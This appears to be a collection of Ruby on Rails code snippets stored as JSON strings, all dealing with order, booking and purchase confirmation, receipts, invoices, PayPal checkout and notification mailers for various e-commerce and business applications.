"def final_confirmation\n if session[:all_free_shipping]\n carrier = \"Free Shipping\"\n method = \"Free Shipping\"\n else\n order_id = params[:order][:id]\n carrier = params[:order][:carrier]\n method = params[:order][:shipping_method]\n end\n\n coupon_code = session[:coupon]\n\n @cart = find_cart\n @order = session[:order]\n\n @order.set_freight_ship_to session[:ship_to]\n @order.set_freight_options session\n\n if valid_coupon_code?(coupon_code, @order.totalize_items)\n @order.coupon = coupon_code\n end\n\n @order.carrier = carrier\n @order.taxes = round(@cart.totalize_products * state_tax(@order.billing_state)).to_f\n @order.shipping_method = shipping_method(method)\n @order.shipping_approx = shipping_approx(@order.carrier, method)\n session[:order] = @order\n end",
"def confirm!\n no_stock_of = self.order_items.select(&:validate_stock_levels)\n unless no_stock_of.empty?\n raise Shoppe::Errors::InsufficientStockToFulfil, :order => self, :out_of_stock_items => no_stock_of\n end\n \n run_callbacks :confirmation do\n # If we have successfully charged the card (i.e. no exception) we can go ahead and mark this\n # order as 'received' which means it can be accepted by staff.\n self.status = 'received'\n self.received_at = Time.now\n self.save!\n\n self.order_items.each(&:confirm!)\n\n # Send an email to the customer\n deliver_received_order_email\n end\n \n # We're all good.\n true\n end",
"def resend_receipt\n @order = Order.find(params[:id])\n #@order.cleanup_successful\n # Send success message\n @order.deliver_receipt\n redirect_to :action => 'show', :id => @order.id\n end",
"def external_unconfirm\n if not self.transaction_source_id.nil? \n self.errors.add(:generic_errors, \"Can't modify the automated generated transaction\")\n return self \n end\n \n self.is_confirmed = false \n if self.save\n self.update_affected_accounts_due_to_un_confirmation\n end\n end",
"def confirm_sales_return\n @sales_return = SalesReturn.find_by_id params[:sales_return_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @sales_return.confirm( current_user )\n @sales_return.reload \n # sleep 5 \n end",
"def confirm_production_repair_result\n @production_repair_result = ProductionRepairResult.find_by_id params[:production_repair_result_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @production_repair_result.confirm( current_user ) \n @object = @production_repair_result\n @parent = @object.template_sales_item \n end",
"def confirmarCotizMesExp\n GeneradorCorreoMailer.confirmarCotizMesExp\n end",
"def confirm_purchase(purchase)\r\n purchase.confirm\r\n end",
"def subscriber_notice_awaiting_payment\n BrandMailer.subscriber_notice(\n brand: Brand.find_by(company_name: 'Brand Nine'),\n stage: 'awaiting_payment'\n )\n end",
"def fulfillment_new_invoice(invoice) \n @invoice = invoice\n sc = invoice.site.store_config\n mail(:to => sc.fulfillment_email, :subject => 'New Order')\n end",
"def custConfirmation\n ContactMailer.custConfirmation\n end",
"def call_create_saleorder_and_invoice(hotelres)\n hotelres.call(\"confirmed_reservation\",[hotelres.id])\n acm = eval(session[:database_name].to_s.upcase.to_s)::AccountMove.new\n acm.journal_id = eval(session[:database_name].to_s.upcase.to_s)::AccountJournal.search([['type','=','bank']])[0]\n acm.company_id = hotelres.company_id.id\n acm.ref = hotelres.reservation_no\n acm.save\n acm.reload\n acml = eval(session[:database_name].to_s.upcase.to_s)::AccountMoveLine.new\n acml.move_id = acm.id\n acml.name = hotelres.reservation_no\n acml.partner_id = hotelres.partner_id.id\n acml.account_id = hotelres.partner_id.property_account_receivable.id\n acml.credit = hotelres.total_cost1\n acml.debit = 0\n acml.status = 'draft'\n base_currency = ResCurrency.find(:all,:domain=>[['base','=',true]])[0]\n available_paypal_array = [\"AUD\",\"CAD\",\"CZK\",\"DKK\",\"EUR\",\"HKD\",\"HUF\",\"JPY\",\"NOK\",\"NZD\",\"PLN\",\"GBP\",\"SGD\",\"SEK\",\"CHF\"]\n if base_currency\n acml.currency_id = base_currency.id\n if available_paypal_array.include?(base_currency.name)\n acml.amount_currency = \"-\"+(hotelres.total_cost1).to_s\n elsif base_currency.name == \"USD\"\n acml.amount_currency = \"-\"+(hotelres.total_cost1).to_s\n else\n convertrateusd = ResCurrency.find(:all,:domain=>[['name','=','USD' ]])[0]\n acml.currency_id = convertrateusd.id\n acml.amount_currency = \"-\"+(hotelres.total_cost1 * convertrateusd.rate).to_s\n end\n else\n convertrateusd = ResCurrency.find(:all,:domain=>[['name','=','USD' ]])[0]\n acml.currency_id = convertrateusd.id\n acml.amount_currency = \"-\"+(hotelres.total_cost1 ).to_s\n end\n acml.save\n acml = eval(session[:database_name].to_s.upcase.to_s)::AccountMoveLine.new\n acml.move_id = acm.id\n acml.name = hotelres.reservation_no\n acml.partner_id = hotelres.partner_id.id\n acml.account_id = eval(session[:database_name].to_s.upcase.to_s)::AccountJournal.find(eval(session[:database_name].to_s.upcase.to_s)::AccountJournal.search([['type','=','bank']])[0]).default_debit_account_id.id\n acml.debit = hotelres.total_cost1\n acml.credit = 0\n if base_currency\n acml.currency_id = base_currency.id\n if available_paypal_array.include?(base_currency.name)\n acml.amount_currency = hotelres.total_cost1\n elsif base_currency.name == \"USD\"\n acml.amount_currency = hotelres.total_cost1\n else\n convertrateusd = ResCurrency.find(:all,:domain=>[['name','=','USD' ]])[0]\n acml.currency_id = convertrateusd.id\n acml.amount_currency = hotelres.total_cost1 * convertrateusd.rate\n end\n else\n default_cur = ResCurrency.find(:all,:domain=>[['name','=','USD' ]])[0]\n acml.currency_id = default_cur.id\n acml.amount_currency = hotelres.total_cost1\n end\n acml.status = 'draft'\n acml.save\n end",
"def resend_confirmation_email\n current_user.resend_confirmation_instructions\n respond_to do |format|\n format.html {redirect_to purchase_orders_path, notice: \"Confirmation Email has been re-sent\"}\n end\n end",
"def subscriber_notice_approval_alert\n BrandMailer.subscriber_notice(\n brand: Brand.find_by(company_name: 'Brand Nine'),\n stage: 'approval_alert'\n )\n end",
"def confirm\n @order.confirm_notes = params[:order][:confirm_notes]\n @order.approx_cost = (@order.approx_cost.to_f * 100.0).floor\n @order.confirm\n \n if @order.confirm_notes.present? \n OrderNote.create(:message => @order.confirm_notes, :order_id => @order.id, :author_id => @order.assigned_to.id) rescue nil \n end\n\n @order.approx_cost = (@order.approx_cost.to_f / 100.0).floor\n \n render 'status'\n end",
"def confirm_order\n @check = Ticket.where(table: session[:table_id]).last\n if @check.nil?\n puts(\"ticket not created yet!\")\n return\n end\n @items = OrderItem.where(:ticket_id => @check.id)\n @check.update(:subtotal => 0)\n\t # Add item totals\n\t comp = 0\n @items.each do |orderItem|\n menu_item = Menuitem.find_by(id: orderItem.item)\n @check.update(:subtotal => (@check.subtotal + menu_item.price))\n\t\tunless orderItem.compitem.nil?\n\t\t\tcomp = comp + orderItem.compitem.amount\n\t\tend\n end\n\n\t \n\t # check reward points\n\t if current_guestaccount\n\t\t # check points\n\t\t if current_guestaccount.points > 4\n\t\t\t @check.update(:subtotal => (@check.subtotal - 10.00))\n\t\t\t @check.update(:points => true)\n\t\t end\n\t\t # check birthday\n\t\t if (current_guestaccount.birthday.month == Time.now.month &&\n\t\t\t current_guestaccount.birthday.day == Time.now.day)\n\t\t\t @check.update(:birthday => true)\n\t\t end\n\t end\n\t \n\t # check birthday discount\n\t if @check.birthday\n\t\t @check.update(:subtotal => (@check.subtotal - 10.00))\n\t end\n\t \n\t # check coupon\n\t if @check.coupon\n\t\t @check.update(:subtotal => (@check.subtotal - 10.00))\n\t end\n\n\t #adjust subtotal for comp\n\t @check.update(:subtotal => (@check.subtotal - comp))\n unless @check.compticket.nil? \n @check.update(:subtotal => (@check.subtotal - @check.compticket.amount))\n end\n\n\t # subtotal cannot be negative\n\t if @check.subtotal < 0\n\t\t @check.update(:subtotal => 0)\n\t end\n\n\t # calculate tax\n\t @check.update(:tax => (@check.subtotal * 0.0825))\n\t \n\t unless @check.gratuity.nil?\n\t\t @check.update(:total => (@check.subtotal + @check.tax + @check.gratuity))\n\t else\n\t @check.update(:total => (@check.subtotal + @check.tax))\n\t end\n end",
"def buyer_confirmed\n end",
"def confirm_pre_production_history\n @pre_production_history = PreProductionHistory.find_by_id params[:pre_production_history_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @pre_production_history.confirm( current_user ) \n @object = @pre_production_history\n @parent = @object.sales_item \n end",
"def invoice\n if @invoice.should_be_delivered? then\n @invoice.set_delivered \n end\n \n respond_to do |wants|\n wants.html do\n redirect_to survey_report_path(@survey)\n end\n end\n end",
"def saveReceipt\n\t\tcurrent_time = DateTime.now\n\t\tReceipt.create!(:concept => params[:tipofactura],\n\t\t\t\t\t\t\t:subtotal => params[:subtotal],\n\t\t\t\t\t\t\t:total => params[:pagototal],\n\t\t\t\t\t\t\t:iva => params[:iva],\n\t\t\t\t\t\t\t:xml => params[:rawxml],\n\t\t\t\t\t\t\t:users_id => current_user.id,\n\t\t\t\t\t\t\t:created_at => current_time,\n\t\t\t\t\t\t\t:updated_at => current_time,\n\t\t\t\t\t\t\t:user_email => current_user.email,\n\t\t\t\t\t\t\t:emisor => params[:emisor],\n\t\t\t\t\t\t\t:rfcEmisor => params[:rfcemisor],\n\t\t\t\t\t\t\t:receptor => params[:receptor],\n\t\t\t\t\t\t\t:rfcReceptor => params[:rfcreceptor])\n\t\tredirect_to action: 'viewInvoices' , email: current_user.email\n\tend",
"def confirm(blank)\n @blank = blank\n if @blank.apply_type == \"ex_apply\"\n mail(to: @blank.email,\n subject: \"您的参展申请已经审核通过\",\n from: \"fair@ewatch.cn\",\n date: Time.now,\n content_type: \"text/html\",\n body: \"亲爱的参展商朋友:<br/>\n 恭喜您,您所提交的参展申请已经审核通过,请携带个人名片、身份证及以下参展确认号至展会现场媒体接待处领取参展证。\n <ul>\n <li><a href='http://121.41.26.127/stores/1'>1号馆 左边部分</a></li>\n <li><a href='http://121.41.26.127/stores/3'>9号馆上半部分</a></li>\n <li><a href='http://121.41.26.127/stores/4'>1号馆 右边部分</a></li>\n <li><a href='http://121.41.26.127/stores/5'>9号馆下半部分</a></li>\n </ul>\n 展览时间:
2015-06-25 至 2015-06-28 <br/>\n 展览地点:
深圳会展中心(1、9号馆)
<br/>\n 如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。
主办信息:
2015中国(深圳)国际钟表展览会
电话:0755-82945180
传真:0755-82941162
通信地址:深圳市福田保税区市花路福年广场B栋302室
邮箱:davy@ewatch.cn\"\n )\n else\n mail( to: @blank.email,\n subject: \"您的记者证申请已经审核通过\",\n from: \"fair@ewatch.cn\",\n date: Time.now,\n body: \"亲爱的媒体朋友:\n恭喜您,您所提交的记者证申请已经审核通过,请携带个人名片、身份证及以下记者证确认号至展会现场媒体接待处领取记者证。\n\n展览时间:
2015-06-25 至 2015-06-28 \n
展览地点:
深圳会展中心(1、9号馆)
\n如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。
主办信息:
2015中国(深圳)国际钟表展览会
电话:0755-82945180
传真:0755-82941162
通信地址:深圳市福田保税区市花路福年广场B栋302室
邮箱:davy@ewatch.cn\")\n end\n end",
"def confirm_all_pending_purchases\r\n self.pending_purchases.each{|purchase| purchase.confirm}\r\n end",
"def can_be_unconfirmed?\n \n if self.purchase_receival_entries.count != 0\n self.errors.add(:generic_errors, \"Tidak bisa unconfirm karena sudah ada penerimaan barang\")\n return false \n end\n \n if self.purchase_return_entries.count != 0 \n self.errors.add(:generic_errors, \"Tidak bisa unconfirm karena sudah ada pengembalian barang\")\n return false\n end\n\n \n \n reverse_adjustment_quantity = -1*quantity \n \n final_item_quantity = item.pending_receival + reverse_adjustment_quantity\n final_warehouse_item_quantity = warehouse_item.pending_receival + reverse_adjustment_quantity\n \n if final_item_quantity < 0 or final_warehouse_item_quantity < 0 \n msg = \"Tidak bisa unconfirm karena akan menyebabkan jumlah #{item.name} pending receival menjadi #{final_item_quantity} \" + \n \" dan jumlah item gudang menjadi :#{final_warehouse_item_quantity}\"\n self.errors.add(:generic_errors, msg )\n return false \n end\n \n return true \n end",
"def confirm!\n self.pending = false\n self.save\n self.createDebts\n end",
"def sell_pending\n end",
"def receipt\n end",
"def receipt\n end",
"def order_budget()\n \n @greeting = \"Hi\"\n\n mail :to => \"docs1006@prodigy.net.mx\", :subject => 'Pragmatic Store Order Confirmation'\n end",
"def paypal_ipn\n notify = Paypal::Notification.new(request.raw_post)\n \n if notify.acknowledge\n transaction = Transaction.where(order_id: notify.params['invoice']).first\n if notify.complete? and transaction.gross_amount.to_s == notify.params['mc_gross']\n transaction.fee = notify.params['mc_fee']\n transaction.completed!\n else\n transaction.failed!\n end\n if transaction.save\n Mailatron4000::Orders.confirmation_email(transaction.order) rescue Rails.logger.warn(\"PayPal IPN: Order #{transaction.order.id} confirmation email failed to send\")\n end\n end\n\n render nothing: true\n end",
"def pending_confirmation_sales_orders\n self.sales_orders.joins(:client).where(:is_confirmed => false, :is_canceled => false )\n end",
"def confirm_delivery\n @delivery = Delivery.find_by_id params[:delivery_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @delivery.confirm( current_user ) \n @delivery.reload\n end",
"def franchisee_royalty_pay_slip\n \n end",
"def confirm_post_production_result\n @post_production_result = PostProductionResult.find_by_id params[:post_production_result_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @post_production_result.confirm( current_user ) \n @object = @post_production_result\n @parent = @object.template_sales_item \n end",
"def print_sales_receipt\n puts \"Successfully Booked - Show #{@show_no}\"\n puts \"Subtotal: Rs. #{@seats_price}\"\n puts \"Service Tax @14%: RS. #{@service_tax}\"\n puts \"Swachh Bharat Cess @0.5%: RS. #{@swach_bharath_cess}\"\n puts \"Krishi Kalyan Cess @0.5%: RS. #{@krishi_kalyan_cess}\"\n puts \"Total: Rs. #{$TOTAL_SALES.last.sum}\"\n end",
"def cleanup_successful\n\t\tself.order_status_code_id = 5\n self.new_notes=\"Order completed.\"\n self.product_cost = self.line_items_total\n self.account.clear_personal_information\n self.save\n\tend",
"def end_trial (company, recipient)\n # layout variables\n @title = \"Fin del período de prueba en AgendaPro\"\n @header = \"Aviso de fin del período de prueba. Si ya activaste tu cuenta, por favor ignora este correo.\"\n\n # view variables\n @chile = company.country.name == \"Chile\"\n @company = company\n @admin = @company.users.where(role_id: Role.find_by_name('Administrador General')).first\n sales_tax = company.country.sales_tax\n @plan_amount = company.company_plan_setting.base_price * company.computed_multiplier * (1 + sales_tax)\n\n mail(\n from: filter_sender(),\n reply_to: filter_sender(\"cuentas@agendapro.cl\"),\n to: recipient,\n subject: @title,\n template_path: \"mailers/agendapro\"\n )\n end",
"def send_booking_confirmation_notifications\n\n notify_manager_confirmation\n notify_customer\n \n end",
"def recap_loan_confirm\n to = params['emailAddress']\n from = 'recap@library.columbia.edu'\n confirm_bcc = APP_CONFIG[:recap_loan][:confirm_bcc]\n recap_subject = 'Offsite Pick-Up Confirmation'\n recap_subject += \" [#{params['titleIdentifier']}]\" if params['titleIdentifier']\n recap_subject += \" (#{Rails.env})\" if Rails.env != 'valet_prod'\n subject = recap_subject\n # Make params available within template by using an instance variable\n @params = params\n mail_params = {to: to, from: from, subject: subject}\n mail_params[:bcc] = confirm_bcc if confirm_bcc\n mail(mail_params)\n end",
"def order_confirmation(buyer)\n @order = Order.last\n @buyer = buyer\n\n mail to: @buyer, subject: \"Order Completed!\", cc: \"foodbylags@gmail.com\"\n end",
"def generate_receipts\n\t\t## and now display this.\n\t\tif self.finalize_order == YES\n\t\t\tself.reports.each do |report|\n\t\t\t\tif report.consider_for_processing?(self.history_tags)\n\t\t\t\t\t## ready for processing.\n\t\t\t\t\tif report.is_outsourced?\n\t\t\t\t\t\t#puts \"report is outsourced.\"\n\t\t\t\t\t\tif bill_direct_to_patient?\n\t\t\t\t\t\t\t#this will be true.\n\t\t\t\t\t\t\t#puts \"we are on bill direct to patient.\"\n\t\t\t\t\t\t\t#will be receipt to patient via organizaiton.\n\t\t\t\t\t\t\treceipt_to_patient(report.currently_held_by_organization,report)\n\t\t\t\t\t\t\t#(from_organization_id,report) \n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t#puts \"we are on double bill\"\n\t\t\t\t\t\t\treceipt_to_patient(self.organization.id.to_s,report)\n\t\t\t\t\t\t\treceipt_to_order_organization(report)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\t\n\t\t\t\t\t\treceipt_to_patient(self.organization.id.to_s,report)\n\t\t\t\t\t\n\t\t\t\t\t\tunless self.outsourced_by_organization_id.blank?\n\t\t\t\t\t\t\treceipt_to_outsourced_organization(report)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def express\n items = current_order.line_items.map do |item|\n {\n :Name => item.product.name,\n :Quantity => item.quantity,\n :Amount => {\n :currencyID => current_order.currency,\n :value => item.price\n },\n :ItemCategory => \"Physical\"\n }\n end\n\n tax_adjustments = current_order.adjustments.tax\n shipping_adjustments = current_order.adjustments.shipping\n\n current_order.adjustments.eligible.each do |adjustment|\n next if (tax_adjustments + shipping_adjustments).include?(adjustment)\n items << {\n :Name => adjustment.label,\n :Quantity => 1,\n :Amount => {\n :currencyID => current_order.currency,\n :value => adjustment.amount\n }\n }\n end\n\n # Because PayPal doesn't accept $0 items at all.\n # See #10\n # https://cms.paypal.com/uk/cgi-bin/?cmd=_render-content&content_ID=developer/e_howto_api_ECCustomizing\n # \"It can be a positive or negative value but not zero.\"\n items.reject! do |item|\n item[:Amount][:value].zero?\n end\n\n pp_request = provider.build_set_express_checkout({\n :SetExpressCheckoutRequestDetails => {\n :ReturnURL => confirm_paypal_url(:payment_method_id => params[:payment_method_id]),\n :CancelURL => cancel_paypal_url,\n :PaymentDetails => [payment_details(items)]\n }})\n\n current_order.vwo_type = params['return_type'] #return type is being hooked into to pass vwo type\n current_order.save\n\n begin\n pp_response = provider.set_express_checkout(pp_request)\n if pp_response.success?\n redirect_to provider.express_checkout_url(pp_response)\n else\n flash[:error] = \"PayPal failed. #{pp_response.errors.map(&:long_message).join(\" \")}\"\n redirect_to checkout_state_path(:payment)\n end\n rescue SocketError\n flash[:error] = \"Could not connect to PayPal.\"\n redirect_to checkout_state_path(:payment)\n end\n end",
"def distribute_production_result\n return nil if self.is_confirmed == false \n \n ok_quantity = self.ok_quantity\n repairable_quantity = self.repairable_quantity\n broken_quantity = self.broken_quantity \n \n sales_item_subcription = self.sales_item_subcription\n \n if sales_item_subcription.pending_production_sales_items.count == 0 \n raise ActiveRecord::Rollback, \"Call tech support!\" \n return\n end\n \n \n total_pending = sales_item_subcription.pending_production ## aggregate over all shite \n \n sales_item_subcription.pending_production_sales_items.each do |sales_item| \n assigned_ok_quantity = 0\n assigned_repairable_quantity = 0 \n assigned_broken_quantity = 0 \n \n # if there is nothing else to distribute, just break. \n # stop the shit. and move on \n if ok_quantity == 0 and repairable_quantity == 0 and broken_quantity == 0 \n break \n end\n \n if sales_item.pending_production >= ok_quantity and ok_quantity != 0 \n assigned_ok_quantity = ok_quantity \n ok_quantity = 0 \n else\n assigned_ok_quantity = sales_item.pending_production \n ok_quantity = ok_quantity - sales_item.pending_production \n end\n \n # the post production order is assigned only once in the beginning\n if repairable_quantity != 0 \n assigned_repairable_quantity = repairable_quantity\n repairable_quantity = 0 \n end\n \n if broken_quantity != 0 \n assigned_broken_quantity = broken_quantity\n broken_quantity = 0 \n end\n \n ProductionHistory.create_history( sales_item_subcription, self, sales_item , {\n :ok_quantity => assigned_ok_quantity, \n :repairable_quantity => assigned_repairable_quantity, \n :broken_quantity => assigned_broken_quantity \n }) \n end\n end",
"def confirm\n if status == :pending_confirmation and\n not charges.select { |charge| charge.status == :done }.empty?\n transaction do\n self.status = :confirmed\n self.save\n # Assign available stock\n assign_available_stock if SystemConfiguration::Variable.get_value('booking.assignation.automatic_resource_assignation', 'false').to_bool\n # Create newsfeed\n ::Yito::Model::Newsfeed::Newsfeed.create(category: 'booking',\n action: 'confirm_booking',\n identifier: self.id.to_s,\n description: BookingDataSystem.r18n.t.confirmed_booking)\n end\n send_booking_confirmation_notifications\n else\n p \"Could not confirm booking #{id} #{status}\"\n end\n \n self\n end",
"def confirm_delivery\n if @order.complete!\n # update the owner with the refilled boxes\n owner = @order.owner # e.g. node\n current_quantity = owner.current_quantity # e.g. node current quantity\n owner.update(current_quantity: current_quantity + @order.quantity)\n\n render json: {}, status: :ok\n else\n render json: {errors: @order.errors.messages}, status: :bad_request\n end\n end",
"def confirm!\n return false if purchased?\n confirmed!\n end",
"def bearstor_confirm\n to = params[:patron_email]\n from = \"Barnard Remote Request Service <#{params[:staff_email]}>\"\n title = params[:bib_record].title\n subject = \"BearStor Request Confirmation [#{title}]\"\n mail(to: to, from: from, subject: subject)\n end",
"def confirm\r\n # Change user status to active\r\n update(status: :active)\r\n # Update all pending company_roles to active\r\n company_roles.update_all(status: 1)\r\n NotifyMailer.welcome_mail(self).deliver_later\r\n super\r\n end",
"def quantity_inflation_end_of_promotion\n ord_qty_hash = []\n variant = Spree::Variant.find(params[:variant_id])\n quantity_inflation = variant.quantity_inflations.where(:market_place_id=>params[:market_place_id]).try(:first)\n ord_qty_hash << quantity_inflation.end_of_promotion\n Spree::DataImportMailer::promotion_quantity_inflation_end(ord_qty_hash).deliver\n flash[:notice] = \"Promotion is ended for selected product and all respective marketplaces\"\n redirect_to :back\n end",
"def complete_xaction\n if valid?\n # For new records, certain types of transactions will be automatically set as completed.\n self.completed = true if new_record? && (to.is_account? && (from_id.nil? || from.is_account?))\n\n # If amount changes, we have to update the envelope amount if it's still pending; otherwise update just the account amount.\n if !new_record? && dirty_attributes.keys.include?(Xaction.properties[:amount])\n if completed\n # update the debited account\n diff = amount - Xaction.get(id).amount\n from.update_attributes(:actual_amount => from.actual_amount.to_f + diff)\n else\n # update the envelope amount\n diff = amount - Xaction.get(id).amount\n to.update_attributes(:actual_amount => to.actual_amount.to_f + diff)\n end\n end\n \n # Complete/Pending\n if dirty_attributes.keys.include?(Xaction.properties[:completed])\n # Envelope side\n if to && !to.is_account?\n if new_record? && !completed\n # credit the envelope\n to.update_attributes(:actual_amount => to.actual_amount.to_f + amount.to_f)\n end\n if !new_record?\n if completed\n # debit the envelope\n to.update_attributes(:actual_amount => to.actual_amount.to_f - amount.to_f)\n to.budget.update_attributes(:amount => amount.to_f < from.budget.amount.to_f ? to.budget.amount.to_f - amount.to_f : 0) # If spending, take it out of the current budget too.\n else\n # undo the debit\n to.update_attributes(:actual_amount => to.actual_amount.to_f + amount.to_f)\n to.budget.update_attributes(:amount => amount.to_f < to.budget.amount.to_f ? to.budget.amount.to_f + amount.to_f : 0) # If spending, take it out of the current budget too.\n end\n end\n end\n\n # Debiting from Account\n if from && from.is_account?\n if completed\n # debit the account\n from.update_attributes(:actual_amount => from.actual_amount.to_f - amount.to_f)\n elsif !new_record? && !completed\n # undo the debit\n from.update_attributes(:actual_amount => from.actual_amount.to_f + amount.to_f)\n end\n end\n\n # Crediting to Account\n if to && to.is_account?\n if completed\n # debit the account\n to.update_attributes(:actual_amount => to.actual_amount.to_f + amount.to_f)\n elsif !new_record? && !completed\n # undo the debit\n to.update_attributes(:actual_amount => to.actual_amount.to_f - amount.to_f)\n end\n end\n end\n end\n end",
"def confirmacionordenmesexp\n RemisorOrdenesCompraMailer.confirmacionordenmesexp\n end",
"def new4\n @order = Order.find( :first,\n :conditions => [\"user_id = ? and status = ? and id = ?\", self.current_user.id, \"incomplete\", params[:id]])\n begin\n @order.step = \"step4\"\n @order.status = \"ordered\"\n \n #Set status to confirmed, call show action\n #This is basically what the orignial create would do\n respond_to do |format|\n if @order.update_attributes(params[:order])\n # Remove ordered items from the cart \n @dels = Deliverable.find( :all, :conditions => [\"order_id = ?\", @order.id])\n @cart.cart_items.each do |c|\n @dels.each do |d|\n if c.listing_id == d.listing_id\n c.destroy\n end\n end \n end \n @user = User.find(@order.user_id)\n @seller = Seller.find(@order.seller_id)\n \n #Send confirmation email to buyer\n @deliverables = Deliverable.find(:all, :conditions => [\"order_id = ?\", @order.id])\n @shop = Shop.find(:first, :conditions => [\"seller_id = ?\", @seller.id])\n @seller_user = @seller.user\n logger.info @seller_user.id.to_s\n \n SystemMailer.deliver_ordered(@user, @seller, @order, @deliverables, @shop)\n \n current_language = session[:locale]\n I18n.locale = @seller.user.userpage.preferred_language\n SystemMailer.deliver_sale(@user, @seller_user, @seller, @order, @deliverables, @shop)\n I18n.locale = current_language\n \n \n format.html { redirect_to @order}\n format.xml { render @order }\n else\n flash[:notice_bad] = t(\"controllers.orders.s14\")\n format.html { render :controller => \"carts\", :action => \"show\" }\n end\n end\n rescue\n flash[:notice_bad] = t(\"controllers.orders.s15\")\n redirect_to orders_path\n else\n end\n end",
"def send_confirmation_email\n\t\tRentersConfirmationJob.perform_later self\n OwnersConfirmationJob.perform_later self\n\tend",
"def confirm!\n if status == :pending_confirmation\n transaction do\n update(:status => :confirmed)\n # Assign available stock\n assign_available_stock if SystemConfiguration::Variable.get_value('booking.assignation.automatic_resource_assignation', 'false').to_bool\n # Create newsfeed\n ::Yito::Model::Newsfeed::Newsfeed.create(category: 'booking',\n action: 'confirm_booking',\n identifier: self.id.to_s,\n description: BookingDataSystem.r18n.t.confirmed_booking)\n end\n send_booking_confirmation_notifications\n end\n self\n end",
"def confirm\n order = current_order || raise(ActiveRecord::RecordNotFound)\n order.payments.create!(\n {\n source: Spree::PaypalExpressCheckout.create(\n {\n token: params[:token],\n payer_id: params[:PayerID],\n payment_id: params[:paymentId]\n }\n ),\n amount: sprintf(\"%0.02f\", order.total),\n payment_method: payment_method\n }\n )\n order.next\n if order.complete?\n flash.notice = Spree.t(:order_processed_successfully)\n flash[:order_completed] = true\n session[:order_id] = nil\n redirect_to completion_route(order)\n else\n redirect_to checkout_state_path(order.state)\n end\n end",
"def declaration_repayment\n wizard_step(nil) { { next_step: :declaration_repayment_next_step } }\n end",
"def invoice_confirmation\n # Invoice Confirmation for WebMoney\n render text: WebMoney.invoice_confirmation(params[:LMI_MERCHANT_ID], params[:LMI_PAYMENT_AMOUNT], params[:ORDER_ID])\n end",
"def wholesale_approved(config, customer)\r\n\t\t@subject = \"Your wholesale account with #{config[:application][:name][:value]} is now ready\"\r\n\t\t@recipients = \"#{customer.to_s} <#{customer[:email]}>\"\r\n\t\t@from = \"#{config[:application][:name][:value]} <#{config[:emails][:default][:value]}>\"\r\n\t\t@sent_on = Time.now\r\n\t\t@body['name'] = customer.to_s\r\n\t\t@body['website'] = config[:application][:name][:value]\r\n\t\t@body['password'] = customer.password\r\n\t\t@body['team_name'] = config[:application][:team_name][:value]\r\n\t\t@body['url'] = config[:application][:url][:value]\r\n\tend",
"def subscriber_notice_subscription_paid\n BrandMailer.subscriber_notice(\n brand: Brand.find_by(company_name: 'Brand Nine'),\n stage: 'subscription_paid'\n )\n end",
"def calc_already_paid\n wizard_step(STEPS)\n end",
"def finalize_sales_order_single_package\n @sales_order = SalesOrder.find_by_id params[:sales_order_id]\n @project = @sales_order.projects.first \n @package = @project.package\n @deliverable_items = @project.deliverable_items.order(\"created_at DESC\")\n @new_deliverable_item = DeliverableItem.new \n \n @sales_order.confirm_sales_order( current_user, params[:sales_order] ) \n \n \n if @sales_order.is_confirmed == false \n render :file => \"sales_orders/single_package_sales_order_finalization\"\n else\n redirect_to single_package_sales_order_finalized_url(@sales_order)\n end\n end",
"def invoice\n raise \"override in purchase_order or sales_order\"\n end",
"def confirm_products_order\n unless @current_admin.is_super_admin\n unless @current_admin.privilages.include? '3'\n flash[:error]=\"You are not authorized to navigate to this page \"\n redirect_to admin_index_path\n return\n end\n end\n @users_sales=Array.new\n @customers_sales=Array.new\n @sales=Sale.where(\"is_delivered='f'\")\n\n @sales.each do |sale|\n if sale.customer\n @customers_sales.push(sale)\n else\n @users_sales.push(sale)\n end\n end\n puts \"user sale count:#{@users_sales.length}\"\n puts \"customer sale count:#{@customers_sales.length}\"\n end",
"def sales_order(record, _params)\n <<-XML\n\n <CustomerRef>\n <FullName>#{record['email']}</FullName>\n </CustomerRef>\n <TxnDate>#{Time.parse(record['placed_on']).to_date}</TxnDate>\n <RefNumber>#{record['id']}</RefNumber>\n <BillAddress>\n <Addr1>#{record['billing_address']['address1']}</Addr1>\n <Addr2>#{record['billing_address']['address2']}</Addr2>\n <City>#{record['billing_address']['city']}</City>\n <State>#{record['billing_address']['state']}</State>\n <PostalCode>#{record['billing_address']['zipcode']}</PostalCode>\n <Country>#{record['billing_address']['country']}</Country>\n </BillAddress>\n <ShipAddress>\n <Addr1>#{record['shipping_address']['address1']}</Addr1>\n <Addr2>#{record['shipping_address']['address2']}</Addr2>\n <City>#{record['shipping_address']['city']}</City>\n <State>#{record['shipping_address']['state']}</State>\n <PostalCode>#{record['shipping_address']['zipcode']}</PostalCode>\n <Country>#{record['shipping_address']['country']}</Country>\n </ShipAddress>\n #{cancel_order?(record)}\n XML\n end",
"def notify_final_delivery\n @reports = Reports.get_all_reports\n @delivery = Packages.get_all_packages\n if( @delivery != nil ) && ( @reports != nil )\n @reports.each do|t|\n @delivery.each do|s|\n if( ( t.reported_id == s.senders_id ) && ( s.finalDelivery == false ) && ( t.packages_id == s.id ) )\n @notification = Notifications.create(s.senders_id, \"You should confirm the final delivery\")\n end\n end\n end\n end\n return;\n end",
"def send_confirmation_instructions; end",
"def order_received(order)\n@order=order\nmail(:to => order.email, :subject => 'Pragmatic Toy Shop Order Confirmation')\nend",
"def subscriber_notice_subscription_renewal\n BrandMailer.subscriber_notice(\n brand: Brand.find_by(company_name: 'Brand Nine'),\n stage: 'subscription_renewal'\n )\n end",
